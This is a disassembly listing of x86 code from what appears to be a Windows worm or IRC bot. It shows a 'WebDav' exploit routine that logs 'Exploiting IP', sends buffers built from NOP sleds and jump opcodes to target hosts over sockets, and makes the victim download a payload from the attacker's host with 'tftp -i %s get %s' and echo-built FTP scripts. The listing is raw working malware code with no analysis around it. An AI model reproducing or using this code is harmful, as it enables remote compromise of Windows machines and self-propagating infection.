		push	esi
		call	dword_4358F4	; closesocket
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_12C]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp+var_210]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 14h
		cmp	[ebp+arg_138], edi
		jnz	short loc_412AB5
		push	edi
		push	[ebp+arg_134]
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+arg_98]
		push	eax
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_412AB5:				; CODE XREF: sub_4127BC+2D7j
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401EFF
		mov	eax, [ebp+arg_12C]
		imul	eax, 3Ch
		lea	eax, dword_42B070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax


loc_412AD6:				; CODE XREF: sub_4127BC+95j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4127BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412ADB	proc near		; CODE XREF: sub_412B6F+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx]
		push	edi
		xor	edi, edi
		and	[ebp+var_8], edi
		xor	eax, eax
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_412AFC
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_412AFC:				; CODE XREF: sub_412ADB+19j
		push	ebx
		push	esi


loc_412AFE:				; CODE XREF: sub_412ADB+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_412B0C
		cmp	[ebp+var_4], eax
		jnz	short loc_412B54


loc_412B0C:				; CODE XREF: sub_412ADB+2Aj
		test	edi, edi
		jnz	short loc_412B49
		cmp	bl, 2Dh
		jnz	short loc_412B3D
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_412B3D
		cmp	al, 5Dh
		jz	short loc_412B3D
		cmp	[ebp+var_4], edi
		jnz	short loc_412B3D
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_412B49
		cmp	bl, al
		jg	short loc_412B49
		mov	[edx], esi
		jmp	short loc_412B46
; ---------------------------------------------------------------------------


loc_412B3D:				; CODE XREF: sub_412ADB+38j
					; sub_412ADB+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_412B49


loc_412B46:				; CODE XREF: sub_412ADB+60j
		xor	edi, edi
		inc	edi


loc_412B49:				; CODE XREF: sub_412ADB+33j
					; sub_412ADB+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_412AFE
; ---------------------------------------------------------------------------


loc_412B54:				; CODE XREF: sub_412ADB+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_412B61
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_412B61:				; CODE XREF: sub_412ADB+7Ej
		cmp	edi, eax
		jnz	short loc_412B6A
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_412B6A:				; CODE XREF: sub_412ADB+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_412ADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B6F	proc near		; CODE XREF: sub_408A18+5BFAp
					; sub_412C03+65p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_412BD1
; ---------------------------------------------------------------------------


loc_412B7B:				; CODE XREF: sub_412B6F+66j
		cmp	eax, 1
		jnz	short loc_412BE2
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_412BE2
		cmp	cl, 2Ah
		jz	short loc_412BBA
		cmp	cl, 3Fh
		jz	short loc_412B9F
		cmp	cl, 5Bh
		jz	short loc_412BA4
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_412B9F:				; CODE XREF: sub_412B6F+22j
		inc	[ebp+arg_4]
		jmp	short loc_412BCD
; ---------------------------------------------------------------------------


loc_412BA4:				; CODE XREF: sub_412B6F+27j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		inc	esi
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_412ADB
		mov	esi, [ebp+arg_0]
		jmp	short loc_412BCB
; ---------------------------------------------------------------------------


loc_412BBA:				; CODE XREF: sub_412B6F+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_412C03
		mov	esi, [ebp+arg_0]
		dec	esi


loc_412BCB:				; CODE XREF: sub_412B6F+49j
		pop	ecx
		pop	ecx


loc_412BCD:				; CODE XREF: sub_412B6F+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_412BD1:				; CODE XREF: sub_412B6F+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_412B7B
		jmp	short loc_412BE2
; ---------------------------------------------------------------------------


loc_412BD9:				; CODE XREF: sub_412B6F+76j
		cmp	eax, 1
		jnz	short loc_412BFE
		inc	esi
		mov	[ebp+arg_0], esi


loc_412BE2:				; CODE XREF: sub_412B6F+Fj
					; sub_412B6F+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_412BD9
		cmp	eax, 1
		jnz	short loc_412BFE
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_412BFE
		cmp	byte ptr [esi],	0
		jnz	short loc_412BFE
		xor	eax, eax
		inc	eax
		jmp	short loc_412C00
; ---------------------------------------------------------------------------


loc_412BFE:				; CODE XREF: sub_412B6F+6Dj
					; sub_412B6F+7Bj ...
		xor	eax, eax


loc_412C00:				; CODE XREF: sub_412B6F+8Dj
		pop	esi
		pop	ebp
		retn
sub_412B6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C03	proc near		; CODE XREF: sub_412B6F+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		inc	dword ptr [esi]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		xor	ebx, ebx
		jmp	short loc_412C32
; ---------------------------------------------------------------------------


loc_412C1D:				; CODE XREF: sub_412C03+35j
		mov	cl, [eax]
		cmp	cl, 3Fh
		jz	short loc_412C2E
		cmp	cl, 2Ah
		jnz	short loc_412C3A
		cmp	cl, 3Fh
		jnz	short loc_412C30


loc_412C2E:				; CODE XREF: sub_412C03+1Fj
		inc	dword ptr [edi]


loc_412C30:				; CODE XREF: sub_412C03+29j
		inc	dword ptr [esi]


loc_412C32:				; CODE XREF: sub_412C03+18j
		mov	ecx, [edi]
		cmp	[ecx], bl
		mov	eax, [esi]
		jnz	short loc_412C1D


loc_412C3A:				; CODE XREF: sub_412C03+24j
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_412C49


loc_412C3F:				; CODE XREF: sub_412C03+44j
		inc	eax
		mov	ecx, eax
		mov	[esi], eax
		cmp	byte ptr [ecx],	2Ah
		jz	short loc_412C3F


loc_412C49:				; CODE XREF: sub_412C03+3Aj
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_412C66
		cmp	[eax], bl
		jz	short loc_412C59
		xor	eax, eax
		jmp	short loc_412CCB
; ---------------------------------------------------------------------------


loc_412C59:				; CODE XREF: sub_412C03+50j
		cmp	dl, bl
		jnz	short loc_412C66
		cmp	[eax], bl
		jnz	short loc_412C66
		xor	eax, eax
		inc	eax
		jmp	short loc_412CCB
; ---------------------------------------------------------------------------


loc_412C66:				; CODE XREF: sub_412C03+4Cj
					; sub_412C03+58j ...
		push	ecx
		push	eax
		call	sub_412B6F
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_412CB5


loc_412C73:				; CODE XREF: sub_412C03+B0j
		inc	dword ptr [edi]
		mov	ecx, [esi]
		mov	eax, [edi]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jz	short loc_412C97


loc_412C7F:				; CODE XREF: sub_412C03+92j
		mov	ecx, [esi]
		cmp	byte ptr [ecx],	5Bh
		jz	short loc_412C97
		cmp	[eax], bl
		jz	short loc_412CAC
		inc	eax
		mov	[edi], eax
		mov	ecx, [esi]
		mov	cl, [ecx]
		mov	edx, eax
		cmp	cl, [edx]
		jnz	short loc_412C7F


loc_412C97:				; CODE XREF: sub_412C03+7Aj
					; sub_412C03+81j
		cmp	[eax], bl
		jz	short loc_412CAC
		push	eax
		push	dword ptr [esi]
		call	sub_412B6F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_412CB1
; ---------------------------------------------------------------------------


loc_412CAC:				; CODE XREF: sub_412C03+85j
					; sub_412C03+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_412CB1:				; CODE XREF: sub_412C03+A7j
		cmp	eax, ebx
		jnz	short loc_412C73


loc_412CB5:				; CODE XREF: sub_412C03+6Ej
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_412CC8
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_412CC8
		mov	[ebp+var_4], 1


loc_412CC8:				; CODE XREF: sub_412C03+B6j
					; sub_412C03+BCj
		mov	eax, [ebp+var_4]


loc_412CCB:				; CODE XREF: sub_412C03+54j
					; sub_412C03+61j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412C03	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		and	dword ptr [ebp-10h], 0
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_428AF0
		lea	edi, [ebp-24h]
		movsd
		movsd
		movsd
		movsd
		push	15Bh
		movsw
		mov	dword ptr [ebp-44h], 6741A1CDh
		mov	dword ptr [ebp-40h], 6741A199h
		mov	dword ptr [ebp-3Ch], 6741A426h
		mov	dword ptr [ebp-38h], 67419E1Dh
		mov	dword ptr [ebp-34h], 67419CE8h
		mov	dword ptr [ebp-30h], 0FFB7DE9h
		mov	dword ptr [ebp-2Ch], 0FFB832Fh
		call	sub_414E7D
		pop	ecx
		mov	edi, eax
		mov	[ebp-4], edi
		push	56h
		xor	eax, eax
		pop	ecx
		rep stosd
		stosw
		stosb
		mov	ecx, [ebp-4]
		mov	edi, ecx
		lea	esi, [ebp-24h]
		movsd
		movsd
		movsd
		movsd
		add	ecx, 11h
		movsw
		mov	edi, ecx
		mov	[ebp-28h], ecx
		dec	edi


loc_412D50:				; CODE XREF: .text:00412D56j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_412D50
		mov	esi, offset loc_428AEC
		movsw
		movsb
		mov	edi, ecx
		dec	edi


loc_412D63:				; CODE XREF: .text:00412D69j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_412D63
		mov	esi, offset aNilsisgay ; "NILSISGAY!!"
		movsd
		push	6
		movsd
		push	1
		push	2
		movsd
		call	dword_4357E8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_412FAD
		and	dword ptr [ebp-8], 0
		lea	esi, [ebp-44h]
		mov	[ebp-0Ch], esi


loc_412D94:				; CODE XREF: .text:00412F38j
		xor	eax, eax
		lea	edi, [ebp-24h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-24h], 2
		call	dword_43585C	; inet_addr
		push	dword ptr [ebp+12Ch]
		mov	[ebp-20h], eax
		call	dword_435934	; ntohs
		mov	[ebp-22h], ax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	dword_4357A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_412F24
		mov	edi, [ebp-28h]
		not	dword ptr [esi]
		push	4
		push	esi
		push	edi
		call	sub_4144B0
		mov	eax, offset loc_42B248
		add	esp, 0Ch
		mov	ecx, eax


loc_412DEE:				; CODE XREF: .text:00412DF3j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_412DEE
		sub	eax, ecx
		mov	esi, ecx
		dec	edi


loc_412DFA:				; CODE XREF: .text:00412E00j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_412DFA
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp-4]
		rep movsb
		lea	ecx, [eax+1]


loc_412E16:				; CODE XREF: .text:00412E1Bj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_412E16
		push	0
		sub	eax, ecx
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		call	dword_43587C	; send
		test	eax, eax
		jz	loc_412F21
		mov	esi, ds:dword_420000
		push	3E8h
		call	esi	; Sleep
		push	ebx
		call	dword_4358F4	; closesocket
		xor	eax, eax
		lea	edi, [ebp-24h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-24h], 2
		call	dword_43585C	; inet_addr
		push	7BDh
		mov	[ebp-20h], eax
		call	dword_435934	; ntohs
		mov	[ebp-22h], ax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	dword_4357A0	; connect
		test	eax, eax
		jz	loc_412F21
		mov	eax, offset byte_42BF44
		push	eax
		push	eax
		push	dword ptr [ebp+8]
		call	sub_407D51
		pop	ecx
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		mov	edi, 190h
		lea	eax, [ebp-1D4h]
		push	edi
		push	eax
		call	sub_41483D
		add	esp, 18h
		push	dword_43533C
		push	dword ptr [ebp+8]
		call	sub_407D51
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-1D4h]
		push	edi
		push	eax
		call	sub_41483D
		add	esp, 14h
		push	0
		add	edi, 70h
		push	edi
		lea	eax, [ebp-3D4h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43575C	; recv
		test	eax, eax
		jle	short loc_412F21
		push	1F4h
		call	esi	; Sleep
		lea	eax, [ebp-1D4h]
		lea	edx, [eax+1]


loc_412F03:				; CODE XREF: .text:00412F08j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_412F03
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp-1D4h]
		push	eax
		push	ebx
		call	dword_43587C	; send
		test	eax, eax
		jg	short loc_412F40


loc_412F21:				; CODE XREF: .text:00412E2Fj
					; .text:00412E83j ...
		mov	esi, [ebp-0Ch]


loc_412F24:				; CODE XREF: .text:00412DD0j
		push	ebx
		call	dword_4358F4	; closesocket
		inc	dword ptr [ebp-8]
		add	esi, 4
		cmp	dword ptr [ebp-8], 7
		mov	[ebp-0Ch], esi
		jb	loc_412D94
		jmp	short loc_412FAD
; ---------------------------------------------------------------------------


loc_412F40:				; CODE XREF: .text:00412F1Fj
		push	ebx
		call	dword_4358F4	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax


loc_412F4B:				; DATA XREF: .rdata:off_42875Co
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-3D4h]
		push	edi
		push	eax
		mov	dword ptr [ebp-10h], 1
		call	sub_41483D
		add	esp, 14h
		cmp	dword ptr [ebp+140h], 0
		jnz	short loc_412FA0
		push	0
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-3D4h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4056FB
		add	esp, 14h


loc_412FA0:				; CODE XREF: .text:00412F7Dj
		lea	eax, [ebp-3D4h]
		push	eax
		call	sub_401EFF
		pop	ecx


loc_412FAD:				; CODE XREF: .text:00412D84j
					; .text:00412F3Ej
		mov	eax, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FB5	proc near		; CODE XREF: sub_4130F8+3F8p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_94		= dword	ptr  9Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+arg_4]
		push	eax
		mov	[ebp+var_14], 2
		call	dword_43585C	; inet_addr
		mov	[ebp+var_10], eax
		xor	eax, eax
		mov	ax, word_42CE18
		push	eax
		call	dword_435934	; ntohs
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_4357E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jnz	short loc_41300E
		xor	al, al
		jmp	loc_4130F3
; ---------------------------------------------------------------------------


loc_41300E:				; CODE XREF: sub_412FB5+50j
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		call	dword_4357A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4130E8
		push	ebx
		mov	edi, 400h
		push	edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	esi
		call	dword_43575C	; recv
		push	[ebp+arg_94]
		lea	eax, [ebp+arg_14]
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo	a"...
		mov	esi, 190h
		lea	eax, [ebp+var_1A4]
		push	esi
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_1A4]
		add	esp, 14h
		lea	ecx, [eax+1]


loc_413066:				; CODE XREF: sub_412FB5+B6j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_413066
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4130E8
		push	1F4h
		call	ds:dword_420000	; Sleep
		push	offset byte_42BF44
		push	offset aS_5	; "%s\r\n"
		lea	eax, [ebp+var_1A4]
		push	esi
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_1A4]
		add	esp, 10h
		lea	edx, [eax+1]


loc_4130B4:				; CODE XREF: sub_412FB5+104j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4130B4
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4130E8
		push	ebx
		push	edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	[ebp+var_4]
		call	dword_43575C	; recv
		mov	bl, 1


loc_4130E8:				; CODE XREF: sub_412FB5+69j
					; sub_412FB5+CFj ...
		push	[ebp+var_4]
		call	dword_4358F4	; closesocket
		mov	al, bl


loc_4130F3:				; CODE XREF: sub_412FB5+54j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4130F8	proc near		; CODE XREF: .text:0041361Fp
					; .text:00413641p

var_81DC	= byte ptr -81DCh
var_8174	= byte ptr -8174h
var_6104	= byte ptr -6104h
var_6094	= byte ptr -6094h
var_55D0	= byte ptr -55D0h
var_402C	= byte ptr -402Ch
var_402B	= byte ptr -402Bh
var_2F98	= byte ptr -2F98h
var_24D4	= byte ptr -24D4h
var_24D3	= byte ptr -24D3h
var_24D0	= byte ptr -24D0h
var_2454	= byte ptr -2454h
var_1C84	= byte ptr -1C84h
var_17D9	= byte ptr -17D9h
var_14EC	= byte ptr -14ECh
var_EAC		= byte ptr -0EACh
var_8D0		= byte ptr -8D0h
var_830		= byte ptr -830h
var_6C8		= dword	ptr -6C8h
var_6B8		= byte ptr -6B8h
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_384		= byte ptr -384h
var_124		= dword	ptr -124h
var_114		= byte ptr -114h
var_FC		= byte ptr -0FCh
var_FB		= byte ptr -0FBh
var_AC		= byte ptr -0ACh
var_A9		= byte ptr -0A9h
var_7F		= byte ptr -7Fh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_34		= byte ptr -34h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_140		= dword	ptr  148h
arg_144		= dword	ptr  14Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 81DCh
		call	sub_414800
		mov	eax, ds:dword_428B9C
		push	ebx
		mov	[ebp+var_C], eax
		mov	eax, ds:dword_428BA0
		push	esi
		mov	[ebp+var_8], eax
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_34]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		xor	eax, eax


loc_41312F:				; CODE XREF: sub_4130F8+4Ej
		mov	cl, [ebp+eax+var_34]
		and	[ebp+eax*2+var_FB], 0
		mov	[ebp+eax*2+var_FC], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_41312F
		push	18h
		pop	ecx
		mov	esi, offset dword_42CA10
		lea	edi, [ebp+var_AC]
		lea	eax, [ebp+var_34]
		rep movsd
		lea	edx, [eax+1]


loc_41315E:				; CODE XREF: sub_4130F8+6Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41315E
		sub	eax, edx
		mov	ecx, eax
		lea	esi, [ebp+var_FC]
		lea	edi, [ebp+var_7C]
		lea	eax, [ebp+var_34]
		rep movsw
		lea	ecx, [eax+1]


loc_41317B:				; CODE XREF: sub_4130F8+88j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41317B
		sub	eax, ecx
		lea	edi, [ebp+eax*2+var_7D]
		mov	esi, (offset aC_4+3)
		movsd
		movsd
		lea	eax, [ebp+var_34]
		movsb
		lea	ecx, [eax+1]


loc_413196:				; CODE XREF: sub_4130F8+A3j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_413196
		sub	eax, ecx
		add	al, 1Ah
		shl	al, 1
		mov	[ebp+var_1], al
		mov	[ebp+var_A9], al
		lea	eax, [ebp+var_34]
		lea	ecx, [eax+1]


loc_4131B2:				; CODE XREF: sub_4130F8+BFj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4131B2
		sub	eax, ecx
		shl	al, 1
		add	al, 9
		mov	[ebp+var_7F], al
		xor	eax, eax
		mov	ax, word_42CE18
		push	eax
		call	dword_435934	; ntohs
		xor	eax, 9999h
		cmp	[ebp+arg_144], 0
		mov	word_42C708, ax
		mov	eax, 90909090h
		jz	loc_4132C4
		mov	ecx, 36Bh
		lea	edi, [ebp+var_EAC]
		rep stosd
		mov	eax, [ebp+arg_144]
		imul	eax, 3Ch
		mov	edx, dword_42CE58[eax]
		mov	eax, offset loc_42C658
		mov	ecx, eax
		mov	[ebp+var_6C8], edx
		lea	esi, [ecx+1]


loc_41321A:				; CODE XREF: sub_4130F8+127j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_41321A
		sub	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		mov	esi, eax
		lea	edi, [ebp+var_6B8]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		mov	[ebp+var_394], 6EB06EBh
		mov	[ebp+var_390], edx
		lea	esi, [ecx+1]


loc_41324E:				; CODE XREF: sub_4130F8+15Bj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_41324E
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_384]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax


loc_41326F:				; CODE XREF: sub_4130F8+193j
		mov	cl, [ebp+eax+var_EAC]
		and	[ebp+eax*2+var_402B], 0
		mov	[ebp+eax*2+var_402C], cl
		inc	eax
		cmp	eax, 0DACh
		jl	short loc_41326F
		and	[ebp+var_24D4],	0
		and	[ebp+var_24D3],	0
		mov	edx, 714h
		mov	ecx, edx
		mov	eax, 31313131h
		lea	edi, [ebp+var_81DC]
		rep stosd
		stosw
		mov	ecx, edx
		mov	eax, 31313131h
		lea	edi, [ebp+var_6104]
		rep stosd
		stosw
		jmp	short loc_41332B
; ---------------------------------------------------------------------------


loc_4132C4:				; CODE XREF: sub_4130F8+F0j
		mov	ecx, 1F4h
		lea	edi, [ebp+var_8D0]
		rep stosd
		mov	eax, offset loc_42C658
		mov	ecx, eax
		lea	esi, [ecx+1]


loc_4132DB:				; CODE XREF: sub_4130F8+1E8j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_4132DB
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_830]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp+var_C]
		rep movsb
		lea	ecx, [eax+1]


loc_413300:				; CODE XREF: sub_4130F8+20Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_413300
		sub	eax, ecx
		mov	ecx, eax
		shr	ecx, 2
		lea	esi, [ebp+var_C]
		lea	edi, [ebp+var_114]
		rep movsd
		mov	ecx, eax
		mov	eax, dword_42CE58
		and	ecx, 3
		rep movsb
		mov	[ebp+var_124], eax


loc_41332B:				; CODE XREF: sub_4130F8+1CAj
		mov	esi, [ebp+arg_140]
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [ebp+var_24D0]
		rep stosd
		stosb
		movsx	eax, [ebp+var_1]
		push	0
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413368


loc_413361:				; CODE XREF: sub_4130F8+29Aj
					; sub_4130F8+2C1j ...
		xor	al, al
		jmp	loc_413500
; ---------------------------------------------------------------------------


loc_413368:				; CODE XREF: sub_4130F8+267j
		push	0
		mov	ebx, 640h
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_43575C	; recv
		xor	edi, edi
		push	edi
		push	68h
		push	offset dword_42CA78
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413361
		push	edi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_43575C	; recv
		push	edi
		push	0A0h
		push	offset dword_42CAE8
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413361
		push	edi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_43575C	; recv
		cmp	[ebp+arg_144], edi
		jz	loc_413478
		push	1Ah
		pop	ecx
		mov	esi, offset dword_42CCA8
		lea	edi, [ebp+var_81DC]
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [ebp+var_402C]
		lea	edi, [ebp+var_8174]
		rep movsd
		movsw
		push	1Ch
		pop	ecx
		mov	esi, offset dword_42CD18
		lea	edi, [ebp+var_6104]
		rep movsd
		mov	ecx, 297h
		lea	esi, [ebp+var_2F98]
		lea	edi, [ebp+var_6094]
		rep movsd
		push	21h
		movsw
		pop	ecx
		mov	esi, offset dword_42CD90
		lea	edi, [ebp+var_55D0]
		rep movsd
		xor	esi, esi
		push	esi
		push	10FCh
		lea	eax, [ebp+var_81DC]
		push	eax
		push	[ebp+arg_140]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_413361
		push	esi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	[ebp+arg_140]
		call	dword_43575C	; recv
		push	esi
		push	0FDCh
		lea	eax, [ebp+var_6104]
		jmp	short loc_4134BF
; ---------------------------------------------------------------------------


loc_413478:				; CODE XREF: sub_4130F8+2D9j
		push	1Fh
		pop	ecx
		mov	esi, offset dword_42CB90
		lea	edi, [ebp+var_24D0]
		rep movsd
		push	24h
		mov	ecx, 1F4h
		lea	esi, [ebp+var_8D0]
		lea	edi, [ebp+var_2454]
		rep movsd
		pop	ecx
		mov	esi, offset off_42CC10
		lea	edi, [ebp+var_1C84]
		push	0
		rep movsd
		and	[ebp+var_17D9],	0
		push	0CF8h
		lea	eax, [ebp+var_24D0]


loc_4134BF:				; CODE XREF: sub_4130F8+37Ej
		push	eax
		push	[ebp+arg_140]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_413361
